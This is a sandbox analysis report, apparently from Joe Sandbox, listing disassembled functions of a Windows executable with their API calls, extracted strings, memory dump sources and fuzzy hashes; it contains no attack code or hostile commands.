Instruction Fuzzy Hash: AB4174716002019FDB14EF64CC95FAABBA6AF45310F08845DF9069B2D2CB76A908CF99

Function 006DA056 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

@U=u, xrefs: 006DA14F
hW, xrefs: 006DA099, 006DA133

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID: @U=u$hW
API String ID: 0-4076565667
Opcode ID: 33670be488ecd32b1ab21d8feea01334d6d353c80317ea20c789fe5cde22d995
Instruction ID: 4e934c3d95dbb9c07f38d77c105c2fcb4670c1409a0298857a973f6b3705d1a9
Opcode Fuzzy Hash: 33670be488ecd32b1ab21d8feea01334d6d353c80317ea20c789fe5cde22d995
Instruction Fuzzy Hash: 0541C235D09104AFD724DFA8CC88FE9BBAAEB49310F154267F816A73E1C730AE51DA51

Function 006DB69E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(007157B0,00000000,00E15768,?,?,007157B0,?,006DB5A8,?,?), ref: 006DB712
EnableWindow.USER32(00000000,00000000), ref: 006DB736
ShowWindow.USER32(007157B0,00000000,00E15768,?,?,007157B0,?,006DB5A8,?,?), ref: 006DB796
ShowWindow.USER32(00000000,00000004,?,006DB5A8,?,?), ref: 006DB7A8
EnableWindow.USER32(00000000,00000001), ref: 006DB7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 006DB7EF

Strings

@U=u, xrefs: 006DB7EF

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID: @U=u
API String ID: 642888154-2594219639
Opcode ID: 7dac9ec9cc19d23f07e71dc67330e1bd7a52a21a2d2f40872cc84d3e311b76c0
Instruction ID: 120b293c4bcbc668e6b660db646c7af4a1dd12b087b00ab4e5d238872d817db7
Opcode Fuzzy Hash: 7dac9ec9cc19d23f07e71dc67330e1bd7a52a21a2d2f40872cc84d3e311b76c0
Instruction Fuzzy Hash: 5D417F34A01240EFDB22CF24D499BD47BE2FF85310F1951BAE9598F7A6C731A856CB50

Function 006D7291 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006D72AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 006D7351
IsMenu.USER32(?), ref: 006D7369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 006D73B1
DrawMenuBar.USER32 ref: 006D73C4

Strings

0, xrefs: 006D729E
hW, xrefs: 006D7311, 006D732C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0$hW
API String ID: 3866635326-580508736
Opcode ID: 0eaa4756fcd897180c764a412a5227013d51ae4b57f436afdfaca7cd104a762d
Instruction ID: 320aadc836f887f3aff7383e0fb8ff9ff8bcb1f9aa4e0832f40f2aa536ea8d47
Opcode Fuzzy Hash: 0eaa4756fcd897180c764a412a5227013d51ae4b57f436afdfaca7cd104a762d
Instruction Fuzzy Hash: 70412675A04209EFDB20DF54D884ADABBFAFB04311F15952AFD0597350E730AD50DB91

Function 006B2F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 006B3033

Strings

warning, xrefs: 006B301C
blank, xrefs: 006B2FB5
stop, xrefs: 006B3004
info, xrefs: 006B2FD4
question, xrefs: 006B2FEC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 47031acc5cbc831c925482fa1e4e9aef64ec4a3c96eb9a58c660cb09f132f360
Instruction ID: bd44dc4e53bfa94d5395f6c5f486013dcde8f8e0efa0fad76136b1927166f906
Opcode Fuzzy Hash: 47031acc5cbc831c925482fa1e4e9aef64ec4a3c96eb9a58c660cb09f132f360
Instruction Fuzzy Hash: 6E1138B1748357BAD764AA14EC82CEB67DD9F19320B10402AFA04663C1DA646F8147A5

Function 006B42F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 006B4312
LoadStringW.USER32(00000000), ref: 006B4319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 006B432F
LoadStringW.USER32(00000000), ref: 006B4336
_wprintf.LIBCMT ref: 006B435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 006B437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 006B4357

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 45c5cf571851be3b502897abfb2e070dd550dcc452a66064ddf52d67fdf9c93c
Instruction ID: 827d053d988de105890f6d48508b303b56e34146afc54729463ba06045ee0532
Opcode Fuzzy Hash: 45c5cf571851be3b502897abfb2e070dd550dcc452a66064ddf52d67fdf9c93c
Instruction Fuzzy Hash: DB01D6F2C00208BFE7519BA0DD89EF7776DEB08300F0045A2B74AE2151EA749E854B70

Function 00652A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0068C1C7,00000004,00000000,00000000,00000000), ref: 00652ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0068C1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00652B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0068C1C7,00000004,00000000,00000000,00000000), ref: 0068C21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0068C1C7,00000004,00000000,00000000,00000000), ref: 0068C286

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 3c115a6c7938b1dc6415f26166fc5ffcf30dea880b62eb561aa058ad024224ba
Instruction ID: 7a0975eaf58b10305a9ce445ef010a88375334f5651bf0bfa195e9df45144fe4
Opcode Fuzzy Hash: 3c115a6c7938b1dc6415f26166fc5ffcf30dea880b62eb561aa058ad024224ba
Instruction Fuzzy Hash: C6412F306046C2DAC7399B28DCBCBEB7B93AB47315F14C51DE847827A1C635994ED720

Function 006B70C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 006B70DD

Part of subcall function 00670DB6: std::exception::exception.LIBCMT ref: 00670DEC
Part of subcall function 00670DB6: __CxxThrowException@8.LIBCMT ref: 00670E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 006B7114
EnterCriticalSection.KERNEL32(?), ref: 006B7130
_memmove.LIBCMT ref: 006B717E
_memmove.LIBCMT ref: 006B719B
LeaveCriticalSection.KERNEL32(?), ref: 006B71AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 006B71BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 006B71DE

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 93d2698992e9cc6a03af85fc14c653b2651654a43badaec5514915920af96059
Instruction ID: a8974e9bcf949dca8441b72105ea29553165f9d1dddf6826273eb209baad6dea
Opcode Fuzzy Hash: 93d2698992e9cc6a03af85fc14c653b2651654a43badaec5514915920af96059
Instruction Fuzzy Hash: 9F317E71900205EBDB50DFA4DC85AAEB77AEF45310F1481BAF904AB246DB309E50CBA4

Function 006BEB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

Part of subcall function 0066FC86: _wcscpy.LIBCMT ref: 0066FCA9

_wcstok.LIBCMT ref: 006BEC94
_wcscpy.LIBCMT ref: 006BED23
_memset.LIBCMT ref: 006BED56

Strings

X, xrefs: 006BED93

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: ece9048602d196bdc040ea2f9c57f0779d6a822cee56222754efb08af790d1ad
Instruction ID: eebe7bff39606e35393ce72968c815ed0160ec84744fbb15ba79e5fcf7f893ae
Opcode Fuzzy Hash: ece9048602d196bdc040ea2f9c57f0779d6a822cee56222754efb08af790d1ad
Instruction Fuzzy Hash: 70C19170508301DFC794EF24D855AAAB7E6FF45310F00492DF89A9B2A2DB31EC49CB96

Function 006C6B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 006C6C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 006C6C21
WSAGetLastError.WSOCK32(00000000), ref: 006C6C34
htons.WSOCK32(?,?,?,00000000,?), ref: 006C6CEA
inet_ntoa.WSOCK32(?), ref: 006C6CA7

Part of subcall function 006AA7E9: _strlen.LIBCMT ref: 006AA7F3
Part of subcall function 006AA7E9: _memmove.LIBCMT ref: 006AA815

_strlen.LIBCMT ref: 006C6D44
_memmove.LIBCMT ref: 006C6DAD

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 49a15224a4262368cbdd4aeeb17b4723e33fe11d2748286a05376dd157f729e9
Instruction ID: f07f22a2c0408342caa43c7594148d637f5f99757e010faae2c7fbe48e37a64c
Opcode Fuzzy Hash: 49a15224a4262368cbdd4aeeb17b4723e33fe11d2748286a05376dd157f729e9
Instruction Fuzzy Hash: 5981D271204300ABD750EB24CC85FBBB7AAEF84714F14491DF9569B2A2DB70ED05CB69

Function 00651424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75eb898167eab03b01b7eb4bc44aee52d591aeac96621de9eb5c8af04fae3dbb
Instruction ID: a50f22502fa6921d3b3ff13a6f306b83b99c1c0830c118a0896f8fa3eb951b91
Opcode Fuzzy Hash: 75eb898167eab03b01b7eb4bc44aee52d591aeac96621de9eb5c8af04fae3dbb
Instruction Fuzzy Hash: BD717B30900109EFCB04DF98CC49AFEBBBAFF86315F148159F915AA251D734AA56CBA4

Function 006CF41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006CF448
_memset.LIBCMT ref: 006CF511
ShellExecuteExW.SHELL32(?), ref: 006CF556

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

Part of subcall function 0066FC86: _wcscpy.LIBCMT ref: 0066FCA9

GetProcessId.KERNEL32(00000000), ref: 006CF5CD
CloseHandle.KERNEL32(00000000), ref: 006CF5FC

Strings

@, xrefs: 006CF525

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 9847c556ce1c71bc91bad33615123080de0a1118817e2d75a582be1ef9acba0f
Instruction ID: 15d09e8aa83dec1cc7635da812c49459ae218272608ff1cf65f9f735184e558d
Opcode Fuzzy Hash: 9847c556ce1c71bc91bad33615123080de0a1118817e2d75a582be1ef9acba0f
Instruction Fuzzy Hash: F4618B75A00619DFCB14EF64C881AAEBBF6FF49310F14846DE85AAB351CB30AD45CB94

Function 006B0F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 006B0F8C
GetKeyboardState.USER32(?), ref: 006B0FA1
SetKeyboardState.USER32(?), ref: 006B1002
PostMessageW.USER32(?,00000101,00000010,?), ref: 006B1030
PostMessageW.USER32(?,00000101,00000011,?), ref: 006B104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 006B1095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 006B10B8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 1c5a715ee5f66b8eb6b2271f8397030cbf6141fae5f9b479b0603892e0348cd0
Instruction ID: 12d3fd74f2b4f815a62ac21512030d792c80743fda66746b5e62485422f6ddc3
Opcode Fuzzy Hash: 1c5a715ee5f66b8eb6b2271f8397030cbf6141fae5f9b479b0603892e0348cd0
Instruction Fuzzy Hash: A851F1E0A046D53DFB3252388C25BF7BEAB5B07304F488589E1D54A9C3C6A8DCD5D751

Function 006B0D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 006B0DA5
GetKeyboardState.USER32(?), ref: 006B0DBA
SetKeyboardState.USER32(?), ref: 006B0E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 006B0E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 006B0E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 006B0EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 006B0EC9

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 7cbf9f059c3c5f904f2ab1bf9c4ec9508588a37389625aa16a2cc24ea3b60b0d
Instruction ID: 4a2469c79836f378be95ea306e80c82671c4cdfbb4ce8377ae7301999bd6ad1b
Opcode Fuzzy Hash: 7cbf9f059c3c5f904f2ab1bf9c4ec9508588a37389625aa16a2cc24ea3b60b0d
Instruction Fuzzy Hash: 0351C1E0A446D53DFB3283648855BFBBFAA6F06300F088889E1D54A9C2D395EDD9D760

Function 006D97F4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00E1DB70,?), ref: 006D9863
ScreenToClient.USER32(00000002,00000002), ref: 006D9896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 006D9903

Strings

@U=u, xrefs: 006D995E
hW, xrefs: 006D9832, 006D992D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID: @U=u$hW
API String ID: 3880355969-4076565667
Opcode ID: 6d17aaa0fb528532325cfd87b9d7bc2a0254edeccab2e75f678c1a2388f1339d
Instruction ID: 61abf83a2f7483afef3cd1c1dfa42a4143f2b8297ead50c264adbb6787e5364c
Opcode Fuzzy Hash: 6d17aaa0fb528532325cfd87b9d7bc2a0254edeccab2e75f678c1a2388f1339d
Instruction Fuzzy Hash: 41512C34E00209EFCB14CF58C890AEE7BB6FB55760F14865AF8559B3A0D731AD41DBA0

Function 006B55FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 006B560A
_wcsncpy.LIBCMT ref: 006B563F
_wcsncpy.LIBCMT ref: 006B5671
_wcsncpy.LIBCMT ref: 006B56A4
_wcsncpy.LIBCMT ref: 006B56E6
_wcsncpy.LIBCMT ref: 006B5720
_wcsncpy.LIBCMT ref: 006B574F

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 50b18faea9ef105e132a86d6901fd9a2dded0f9d71f94b91fdc0b6235c2bec54
Instruction ID: 6dea8a567f2afc4a4bce5cf66d8fa1330503db0cfbdbd0ca40c1167bb65ffe6a
Opcode Fuzzy Hash: 50b18faea9ef105e132a86d6901fd9a2dded0f9d71f94b91fdc0b6235c2bec54
Instruction Fuzzy Hash: 8A419565C10614B6CB51EBB48C46ACFB3BA9F04310F50C96AE51DE3221FB34A395C7AE

Function 006AD56C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 006AD5D4
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 006AD60A
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 006AD61B
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 006AD69D

Strings

,,n, xrefs: 006AD578
DllGetClassObject, xrefs: 006AD610

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: ,,n$DllGetClassObject
API String ID: 753597075-149241901
Opcode ID: 7e3ca04929d63511eb0e45fd305357d100a0596bf94e8665907b97e8a7eccf71
Instruction ID: 7802ba3ab947740359da2147c69cb758c3ea60f5e47150e87ff6f3c090532ad1
Opcode Fuzzy Hash: 7e3ca04929d63511eb0e45fd305357d100a0596bf94e8665907b97e8a7eccf71
Instruction Fuzzy Hash: 1E41A2B1600204EFDB05EF54C884A9A7BBAEF46310F1591ADEC0A9F605D7B1DD44CFA0

Function 006B3671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 006B466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,006B3697,?), ref: 006B468B

Part of subcall function 006B466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,006B3697,?), ref: 006B46A4

lstrcmpiW.KERNEL32(?,?), ref: 006B36B7
_wcscmp.LIBCMT ref: 006B36D3
MoveFileW.KERNEL32(?,?), ref: 006B36EB
_wcscat.LIBCMT ref: 006B3733
SHFileOperationW.SHELL32(?), ref: 006B379F

Strings

\*.*, xrefs: 006B372D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
